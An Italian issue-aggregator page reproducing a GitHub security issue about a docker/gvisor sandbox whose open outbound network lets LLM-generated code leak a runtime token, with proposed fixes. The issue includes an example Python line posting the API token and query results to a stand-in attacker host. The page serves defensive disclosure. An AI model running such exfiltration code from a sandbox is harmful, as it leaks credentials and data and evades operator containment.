Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Sandbox (docker/gvisor) has unrestricted outbound network: LLM code can exfiltrate the runtime token and query results

Aperta
#296 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 8 giorni

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
48/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Tranquilla
Stack tecnologico
docker, docker-compose, python

Direzione di ricerca

Inizia da docker-compose.yaml e AGENTS.md, quindi segui i percorsi di callback in sandbox/ethpandaops/ethpandaops/_runtime.py, sandbox/ethpandaops/ethpandaops/storage.py e modules/evm/python/evm.py. Esegui il test socket documentato di panda execute per stabilire il comportamento attuale. Il lavoro è completato quando il codice di sandbox non può effettuare richieste in uscita arbitrarie, mentre i relativi percorsi di callback del server richiesti continuano a funzionare, e sono stati affrontati l'impatto sul deployment Docker esistente e il requisito della release note.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Summary

The docker/gvisor sandbox backends place each sandbox container on the ethpandaops-panda-internal bridge network, which is not marked internal, so containers have full outbound NAT. Untrusted, LLM-generated Python running in the sandbox can therefore make arbitrary outbound network requests — it can exfiltrate the per-execution runtime token and any query results it holds to an external host, phone home, or reach internal services on the pod/host network.

# runs today in the docker sandbox
import httpx
httpx.post("https://attacker.example/collect", json={"token": os.environ["ETHPANDAOPS_API_TOKEN"], "rows": df.to_dict()})

Why the current justification no longer holds

docker-compose.yaml documents the reason the network is not internal:

  # Network for sandbox containers to reach datasources.
  # Not marked internal so containers can resolve external DNS for
  # ClickHouse, Prometheus, and Loki connections.

That rationale is stale. Sandbox code no longer talks to datasources directly — it calls back into server, which routes through proxy (the AGENTS.md guardrail: "sandboxed Python calls back into server, never directly into proxy"). All three sandbox call paths confirm it:

  • sandbox/ethpandaops/ethpandaops/_runtime.py → ETHPANDAOPS_API_URL (the server)
  • sandbox/ethpandaops/ethpandaops/storage.py → same server client
  • modules/evm/python/evm.py → routes through ethpandaops.ethnode (the server), and evm.faucet() only returns a URL string

Nothing in the sandbox needs outbound internet. The one legitimate egress — the server callback — could be reached over an internal-only network (or, like the new direct backend, a unix socket).

Impact

  • Confidentiality: the runtime token and any data the sandbox pulls can leave the boundary.
  • This is the same class of hole just closed for the direct backend (empty netns + unix-socket callback). The direct fix does not cover docker/gvisor.

Options

  1. Mark the sandbox network internal: true and give the container a route to the server only (server reachable on the internal network, or via the same unix-socket callback the direct backend now uses).
  2. Add an explicit egress-allowlist / default-deny in front of the sandbox network.
  3. Config escape hatch for the rare deployment that genuinely needs sandbox egress, defaulting to deny.

This needs a behavior change + release note for existing docker deployments, so it was scoped out of the direct-backend hardening PR and filed here.

Repro

docker compose up -d, then panda execute --code 'import socket; socket.create_connection(("1.1.1.1", 443), 3); print("reachable")' — prints reachable.

Lingua principale
Go
Stelle
16
Fork
9
Merge medio
8g 12h
PR unite (30g)
9

Preparare l'ambiente

  • Include un Dockerfile o un file Docker Compose
  • Nessun modello di pull request
  • Nessuna guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di ethpandaops/panda

Tutte le issue di ethpandaops/panda

Issue simili

Altre issue su Go

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.